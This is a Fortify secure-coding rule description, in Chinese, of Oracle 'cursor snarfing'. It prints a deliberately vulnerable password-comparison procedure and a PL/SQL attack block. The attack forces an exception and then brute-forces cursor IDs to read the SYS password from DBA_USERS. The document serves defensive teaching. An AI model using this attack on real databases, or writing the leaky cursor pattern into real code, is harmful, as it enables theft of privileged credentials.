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            Unreleased Resource: Cursor Snarfing

            ABSTRACT

            該指針可能被權限較低的用戶使用。

            EXPLANATION

            該指針可能會被用來訪問未經授權的信息。
            資源泄露至少有兩種常見的原因:

            - 錯誤狀況及其他異常情況。

            - 未明確程序的哪一部份負責釋放資源。

            在 SQL 中,指針具有權限與創建它們的代碼進行關聯。如果泄漏的指針被不具備相應權限的用戶捕獲,則它可以被用來查看未經授權的記錄。

            此外,大部分 Unreleased Resource 問題只會導致一般的軟件可靠性問題,但如果攻擊者能夠故意觸發資源泄漏,該攻擊者就有可能通過耗盡資源池的方式發起 denial of service 攻擊。

            例:PWD_COMPARE 程序可被沒有訪問 sys.dba_users 權限的代碼用來查看用戶密碼。


            CREATE or REPLACE procedure PWD_COMPARE(p_user VARCHAR, p_pwd VARCHAR)
            AUTHID DEFINED
            IS
            cursor INTEGER;
            ...
            BEGIN
            IF p_user != 'SYS' THEN
            cursor := DBMS_SQL.OPEN_CURSOR;
            DBMS_SQL.PARSE(cursor, 'SELECT password FROM SYS.DBA_USERS WHERE username = :u', DBMS_SQL.NATIVE);
            DBMS_SQL.BIND_VARIABLE(cursor, ':u', p_user);
            ...
            END IF;
            END PWD_COMPARE;


            如果攻擊者可引發異常,他們就可以捕獲指針并獲取訪問未經授權的信息,例如 sys 密碼。造成異常的一種方式為將過長的參數傳遞到 p_user。一旦攻擊者了解到指針已泄漏,他們僅需猜測指針并分配新的綁定變量。


            DECLARE
            x VARCHAR(32000);
            i INTEGER;
            j INTEGER;
            r INTEGER;
            pwd VARCHAR2(30);
            BEGIN
            FOR i IN 1..10000 LOOP
            x:='b' || x;
            END LOOP;
            SYS.PWD_COMPARE(x,'pwd');
            EXCEPTION WHEN OTHERs THEN
            FOR j IN 1..10000
            DBMS_SQL.BIND_VARIABLE(j, ':u', 'SYS');
            DBMS_SQL.DEFINE_COLUMN(j, 1, pwd, 30);
            r := DBMS_SQL.EXECUTE(j);
            IF DBMS_SQL.FETCH_ROWS(j) > 0 THEN
            DBMS_SQL.COLUMN_VALUE(j, 1, pwd);
            EXIT;
            END IF;
            END LOOP;
            ...
            END;

            REFERENCES

            [1] Standards Mapping - OWASP Top 10 2004 - (OWASP 2004) A9 Application Denial of Service

            [2] Standards Mapping - Security Technical Implementation Guide Version 3 - (STIG 3) APP6080 CAT II

            [3] Standards Mapping - Security Technical Implementation Guide Version 3.4 - (STIG 3.4) APP6080 CAT II

            [4] Standards Mapping - Common Weakness Enumeration - (CWE) CWE ID 404, CWE ID 619

            [5] David Litchfield Dangling Cursor Snarfing:A New Class of Attack in Oracle

            [6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 - (PCI 1.1) Requirement 6.5.9

            [7] Standards Mapping - SANS Top 25 2009 - (SANS 2009) Risky Resource Management - CWE ID 404


            Copyright 2013 Fortify Software - All rights reserved.
            (Generated from version 2013.1.1.0008 of the Fortify Secure Coding Rulepacks)
            desc.controlflow.sql.unreleased_resource_cursor_snarfing

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